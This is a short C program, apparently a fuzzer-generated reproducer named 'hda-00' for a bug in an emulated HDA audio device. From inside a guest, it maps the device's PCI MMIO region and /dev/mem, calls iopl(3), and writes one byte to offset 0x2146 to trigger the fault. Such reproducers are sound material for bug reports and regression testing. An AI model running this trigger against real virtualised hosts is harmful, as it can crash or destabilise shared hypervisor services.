| 1 | #include <assert.h>
|
|---|
| 2 | #include <fcntl.h>
|
|---|
| 3 | #include <inttypes.h>
|
|---|
| 4 | #include <stdio.h>
|
|---|
| 5 | #include <stdlib.h>
|
|---|
| 6 | #include <string.h>
|
|---|
| 7 | #include <sys/mman.h>
|
|---|
| 8 | #include <sys/types.h>
|
|---|
| 9 | #include <unistd.h>
|
|---|
| 10 | #include <sys/io.h>
|
|---|
| 11 | #include <time.h>
|
|---|
| 12 |
|
|---|
| 13 | uint8_t *mmio_mem;
|
|---|
| 14 | uint8_t *config_mem;
|
|---|
| 15 | uint8_t *devmem_mem;
|
|---|
| 16 |
|
|---|
| 17 | void die(const char *msg) {
|
|---|
| 18 | perror(msg);
|
|---|
| 19 | exit(-1);
|
|---|
| 20 | }
|
|---|
| 21 |
|
|---|
| 22 | void mmio_write(uint32_t addr, uint32_t value) {
|
|---|
| 23 | *((uint32_t *)(mmio_mem + addr)) = value;
|
|---|
| 24 | }
|
|---|
| 25 |
|
|---|
| 26 | void mmio_writeb(uint32_t addr, uint8_t value) {
|
|---|
| 27 | *((uint8_t *)(mmio_mem + addr)) = value;
|
|---|
| 28 | }
|
|---|
| 29 |
|
|---|
| 30 | uint32_t mmio_read(uint32_t addr) {
|
|---|
| 31 | return *((uint32_t *)(mmio_mem + addr));
|
|---|
| 32 | }
|
|---|
| 33 |
|
|---|
| 34 | void config_write(uint32_t addr, uint32_t value) {
|
|---|
| 35 | *((uint32_t *)(config_mem + addr)) = value;
|
|---|
| 36 | }
|
|---|
| 37 |
|
|---|
| 38 | uint32_t config_read(uint32_t addr) {
|
|---|
| 39 | return *((uint32_t *)(config_mem + addr));
|
|---|
| 40 | }
|
|---|
| 41 |
|
|---|
| 42 | #define PAGE_SHIFT 12
|
|---|
| 43 | #define PAGE_SIZE (1 << PAGE_SHIFT)
|
|---|
| 44 | #define PFN_PRESENT (1ull << 63)
|
|---|
| 45 | #define PFN_PFN ((1ull << 55) - 1)
|
|---|
| 46 | int pagemap_fd;
|
|---|
| 47 |
|
|---|
| 48 | uint32_t page_offset(uint32_t addr) {
|
|---|
| 49 | return addr & ((1 << PAGE_SHIFT) - 1);
|
|---|
| 50 | }
|
|---|
| 51 |
|
|---|
| 52 | uint64_t gva_to_gfn(void *addr) {
|
|---|
| 53 | uint64_t pme, gfn;
|
|---|
| 54 | uint64_t offset;
|
|---|
| 55 | offset = ((uint64_t)addr >> 12) << 3;
|
|---|
| 56 | lseek(pagemap_fd, offset, SEEK_SET);
|
|---|
| 57 | read(pagemap_fd, &pme, 8);
|
|---|
| 58 | if (!(pme & PFN_PRESENT))
|
|---|
| 59 | return -1;
|
|---|
| 60 | gfn = pme & PFN_PFN;
|
|---|
| 61 | printf("[+] gva_to_gfn 0x%lx -> 0x%lx\n", pme, gfn);
|
|---|
| 62 | return gfn;
|
|---|
| 63 | }
|
|---|
| 64 |
|
|---|
| 65 | uint64_t gva_to_gpa(void *addr) {
|
|---|
| 66 | uint64_t gfn = gva_to_gfn(addr);
|
|---|
| 67 | if (gfn == -1)
|
|---|
| 68 | die("[-] Physical page not present.\n");
|
|---|
| 69 | return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
|
|---|
| 70 | }
|
|---|
| 71 |
|
|---|
| 72 | void *calloc_256aligned(size_t size) {
|
|---|
| 73 | void *ptr_virt = mmap(0, size + 256, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
|
|---|
| 74 | if (ptr_virt == MAP_FAILED)
|
|---|
| 75 | die("[-] Mmap 256aligned buffer failed.\n");
|
|---|
| 76 | mlock(ptr_virt, size + 256);
|
|---|
| 77 | uint64_t ptr_phys = gva_to_gpa(ptr_virt);
|
|---|
| 78 | uint64_t __ptr_phys = (ptr_phys + 0xff) & (~(uint64_t)0xff);
|
|---|
| 79 | return (void *)((uint64_t)ptr_virt + (__ptr_phys - ptr_phys));
|
|---|
| 80 | }
|
|---|
| 81 |
|
|---|
| 82 | int main(int argc, char **argv) {
|
|---|
| 83 | printf("[+]\n[+] Reproduce hda-00: start\n[+]\n");
|
|---|
| 84 |
|
|---|
| 85 | // lspci -v
|
|---|
| 86 | int mmio_fd = open("/sys/devices/pci0000:00/0000:00:05.0/resource0", O_RDWR | O_SYNC);
|
|---|
| 87 | if (mmio_fd == -1)
|
|---|
| 88 | die("[-] Open mmio_fd failed.\n");
|
|---|
| 89 | printf("[+] Open mmio_fd successful.\n");
|
|---|
| 90 | mmio_mem = mmap(0, 0x4000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
|
|---|
| 91 | if (mmio_mem == MAP_FAILED)
|
|---|
| 92 | die("[-] Mmap mmio_mem failed.\n");
|
|---|
| 93 | printf("[+] Mmap mmio_mem at %p.\n", mmio_mem);
|
|---|
| 94 |
|
|---|
| 95 | pagemap_fd = open("/proc/self/pagemap", O_RDONLY);
|
|---|
| 96 | if (pagemap_fd < 0)
|
|---|
| 97 | die("[-] Open pagemap failed.\n");
|
|---|
| 98 | printf("[+] Open pagemap successful.\n");
|
|---|
| 99 |
|
|---|
| 100 | int devmem_fd = open("/dev/mem", O_RDWR | O_SYNC);
|
|---|
| 101 | devmem_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, devmem_fd, 0);
|
|---|
| 102 | if (devmem_mem == MAP_FAILED)
|
|---|
| 103 | die("[-] Mmap devmem_mem failed.\n");
|
|---|
| 104 | printf("[+] Mmap devmem_mem at %p.\n", devmem_mem);
|
|---|
| 105 |
|
|---|
| 106 | iopl(3);
|
|---|
| 107 |
|
|---|
| 108 | // 009, EVENT_TYPE_MMIO_WRITE, 0xf0406146, 0x1, 0x5bd062c2
|
|---|
| 109 | mmio_writeb(0x2146, 0xc2);
|
|---|
| 110 |
|
|---|
| 111 | printf("[+]\n[+] Reproduce hda-00: fail\n[+]\n");
|
|---|
| 112 |
|
|---|
| 113 | return 0;
|
|---|
| 114 | }
|
|---|